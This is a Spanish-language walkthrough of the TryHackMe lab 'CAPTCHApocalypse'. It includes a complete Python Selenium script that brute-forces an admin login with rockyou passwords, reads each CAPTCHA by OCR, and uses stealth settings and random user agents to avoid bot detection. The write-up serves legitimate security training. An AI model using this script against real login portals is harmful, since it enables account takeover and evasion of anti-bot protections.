XUT_ / MACHINES / THM

0068

CAPTCHApocalypse

THMMACHINENONEMEDIUM

Introduction

captchapocalypse

Cuando la criptografía interfiere, automatiza.

Getting the Flags

Reconocimiento Inicial

Comenzamos con un escaneo de puertos.

captchapocalypse

Ahora vamos a escanearlos más a fondo.

captchapocalypse

Vamos a ver qué hay en la web.

captchapocalypse

Vamos a investigar ahora la web en sí misma.

captchapocalypse

Es un portal de login con un CAPTCHA. Sabemos que vamos a tener que automatizar. Además nos dicen que usemos las primeras 100 palabras de rockyou.txt, por lo que lo primero que haremos será extraerlas.

captchapocalypse

Ahora abrimos un entorno con:

bash
python3 -m venv ~/venvs/captcha-env

Lo siguiente que tenemos que hacer es instalar tesseract, selenium y chrome si no los tenemos.

Para activar el entorno:

bash
source ~/venvs/captcha-env/bin/activate

Para instalar las dependencias:

bash
pip install selenium
sudo apt install chromium
sudo apt install chromium-driver
sudo apt install tesseract-ocr
pip install pytesseract
pip install Pillow
pip install fake-useragent

Debemos modificar el código visto en el bypasseo del CAPTCHA en la lección "1.2.4.2.3.3. Automating CAPTCHA Bypass" para incluir los binarios de chrome y tesseract correctos y la lista de contraseñas adecuada. Además hay que modificar el By.NAME por el By.ID y el .submit() por el .click(). Aquí dejo el código completo:

python
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth

import time
from fake_useragent import UserAgent
from PIL import Image, ImageEnhance, ImageFilter
import pytesseract
import io
import os

pytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'

# Create folder for saving CAPTCHA images
os.makedirs("captchas", exist_ok=True)

options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')

options.binary_location = "/usr/bin/chromium"
service = Service(executable_path='/usr/bin/chromedriver')
chrome = webdriver.Chrome(service=service, options=options)

stealth(chrome,
    languages=["en-US", "en"],
    vendor="Google Inc.",
    platform="Win32",
    webgl_vendor="Intel Inc.",
    renderer="Intel Iris OpenGL Engine",
    fix_hairline=True,
)

# CONFIG
ip = 'http://captchapocalypse.thm'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'

username = "admin"

with open(r'/home/edu/top100RockYou.txt', 'r') as file:
    passwords = [p.strip() for p in file.readlines()]

for password in passwords:
    while True:
        chrome.get(login_url)
        time.sleep(1)

        # Grab CSRF token
        csrf = chrome.find_element(By.NAME, "csrf_token").get_attribute("value")

        # Get CAPTCHA image rendered in-browser
        captcha_img_element = chrome.find_element(By.TAG_NAME, "img")
        captcha_png = captcha_img_element.screenshot_as_png

        # Preprocess image for OCR
        image = Image.open(io.BytesIO(captcha_png)).convert("L")
        image = image.resize((image.width * 2, image.height * 2), Image.LANCZOS)  # Resize for clarity
        image = image.filter(ImageFilter.SHARPEN)
        image = ImageEnhance.Contrast(image).enhance(2.0)
        image = image.point(lambda x: 0 if x < 140 else 255, '1')

        # OCR the CAPTCHA
        captcha_text = pytesseract.image_to_string(
            image,
            config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
        ).strip().replace(" ", "").replace("\n", "").upper()

        # Save the image for review
        image.save(f"captchas/captcha_{password}_{captcha_text}.png")

        if not captcha_text.isalnum() or len(captcha_text) != 5:
            print(f"[!] OCR failed (got: '{captcha_text}'), retrying...")
            continue

        print(f"[*] Trying password: {password} with CAPTCHA: {captcha_text}")

        # Fill out and submit the form
        chrome.find_element(By.NAME, "username").send_keys(username)
        chrome.find_element(By.NAME, "password").send_keys(password)
        chrome.find_element(By.NAME, "captcha_input").send_keys(captcha_text)
        chrome.find_element(By.ID, "login-btn").click()

        time.sleep(1)

        print("=== HTML Output After Submit ===")
        print(chrome.page_source)
        print("================================")

        if dashboard_url in chrome.current_url:
            print(f"[+] Login successful with password: {password}")
            try:
                flag = chrome.find_element(By.TAG_NAME, "p").text
                print(f"[+] {flag}")
            except:
                print("[!] Logged in, but no flag found.")
            chrome.quit()
            exit()
        else:
            print(f"[-] Failed login with: {password}")
            break  # try next password

chrome.quit()

Ahora lo ejecutamos y esperamos:

captchapocalypse